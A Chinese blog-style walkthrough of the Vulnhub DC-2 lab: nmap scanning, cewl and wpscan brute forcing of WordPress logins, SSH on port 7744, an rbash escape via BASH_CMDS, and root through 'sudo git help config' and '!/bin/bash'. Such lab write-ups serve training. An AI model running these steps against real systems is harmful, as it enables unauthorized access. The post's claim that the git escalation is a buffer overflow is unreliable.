【Vulnhub靶场】DC-2

DC-2 靶场下载地址: https://download.vulnhub.com/dc/DC-2.zip

目标

本机IP:192.168.118.128

靶机IP:192.168.118.0/24

信息收集

常规我使用nmap三扫描,扫存活主机、扫端口、扫服务

第一步探测到存活主机IP为:192.168.118.139

javascript 复制代码
nmap -sP 192.168.118.0/24

nmap -p- 192.168.118.139

nmap -sV -A 192.168.118.139

发现开放了80端口和7744端口,但扫服务时并没有7744的端口信息,指定端口,再次扫描服务

发现7744端口是一个ssh服务

访问80端口的web页面,无法打开,返回前面查看信息,是要修改hosts

进入hosts,添加 192.168.118.139 dc-2

bash 复制代码
vim /etc/hosts

然后重新访问 http://dc-2/

在下方有一个Flag,点击进入,得到 flag1

falg1提示:我们应该使用 cewl 生成密码,爆破账号,登录多个账号之类的

此页面还看到其CMS为 WordPress

暴力破解

cewl 是一个生成密码字典的工具,接下来我们用cewl生成一个密码字典存放在桌面上

bash 复制代码
cewl http://dc-2/ -w /root/Desktop/pass.txt

使用 wpsan 爆破用户名

wpsan是一款专门用来扫描 WordPress网站漏洞的工具

bash 复制代码
wpscan --url dc-2 -e u

最后扫出来三个用户名,将这三个用户名整理在一起,下一步就是爆破账号密码了

使用刚生成的账号密码爆破,最后成功爆破出两个账号密码:

bash 复制代码
wpscan --url http://dc-2/ -U user.txt -P pass.txt

成功拿到 jerry 和 tom 的密码,下一步就是登录了

使用dirserach 遍历目录,找到登录界面

bash 复制代码
dirsearch -u http://dc-2/

访问http://dc-2/wp-admin/,进入登录页面

在tom里面没有发现有用的信息,在jerry里面成功找到了flag2

flag2提示:如果你不能利用WordPress并采取快捷方式,还有另一种方法,希望你能找到另一个切入点。这是让我们接着干啊

SSH远程登录

想到前面开放的7744端口,尝试使用ssh登录,因为端口被修改,需要指定7744端口

bash 复制代码
ssh jerry@192.168.118.139 -p 7744		#登录jerry
ssh tom@192.168.118.139 -p 7744		#登录tom

尝试发现只有tom能够登录

在tom的目录下面找到了flag3,不能使用cat、find、vim等指令,发现好多的指令都无法使用,使用compgen -c 可查看当前可使用指令,最后尝试发现vi可以打开

flag3提示:老tom总是在追jerry,也许他应该为他所造成的所有压力负责

根据提示,应该是jerry的权限比tom的高,现在我们应该提权到jerry

rbash逃逸

查询资料发现rbash为受限制的 bash。其可以用作中转服务器,或者仅使用 ssh 来访问网页等等。它与一般shell的区别在于会限制一些行为,让一些命令无法执行

所以我们设置shell来绕过rbash(设置变量a为一个shell,执行a)

bash 复制代码
BASH_CMDS[a]=/bin/sh;a 

此处shell已经变为了a,但还是切换不到,这是因为我们还没添加环境变量

bash 复制代码
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

添加完环境变量,重新切换到jerry,成功

成功进入jerry,然后cd到jerry目录,ls查看,发现flag4

flag4提示我们到这一步只剩下最终的flag了, 这是个让我们拿root权限的意思,而且最后一句有提示git,那应该就是git提权

git提权

原理是git存在缓冲区溢出漏洞,在使用sudo git -p help时,不需要输入root密码即可以root权限执行这条命令。

使用sudo -l 查看root身份执行的命令,发现有git

直接输入命令

bash 复制代码
sudo git help config

然后输入

bash 复制代码
!/bin/bash

然后cd到root目录下,成功发现最终的flag

final-flag

相关推荐
百流8 分钟前
Pyspark中pyspark.sql.functions常用方法(4)
1024程序员节
qq210846295312 分钟前
【Ubuntu】Ubuntu22双网卡指定网关
1024程序员节
YueTann30 分钟前
APS开源源码解读: 排程工具 optaplanner II
1024程序员节
kinlon.liu38 分钟前
安全日志记录的重要性
服务器·网络·安全·安全架构·1024程序员节
爱编程— 的小李42 分钟前
开关灯问题(c语言)
c语言·算法·1024程序员节
是程序喵呀1 小时前
Uni-App-02
uni-app·vue·1024程序员节
A_aspectJ2 小时前
Spring 框架中都用到了哪些设计模式?
spring·设计模式·1024程序员节
双子座断点2 小时前
QT 机器视觉 (3. 虚拟相机SDK、测试工具)
qt·1024程序员节
xzajyjs2 小时前
CodeQL学习笔记(3)-QL语法(模块、变量、表达式、公式和注解)
web安全·渗透测试·漏洞分析·代码审计·codeql
20岁30年经验的码农2 小时前
爬虫基础
1024程序员节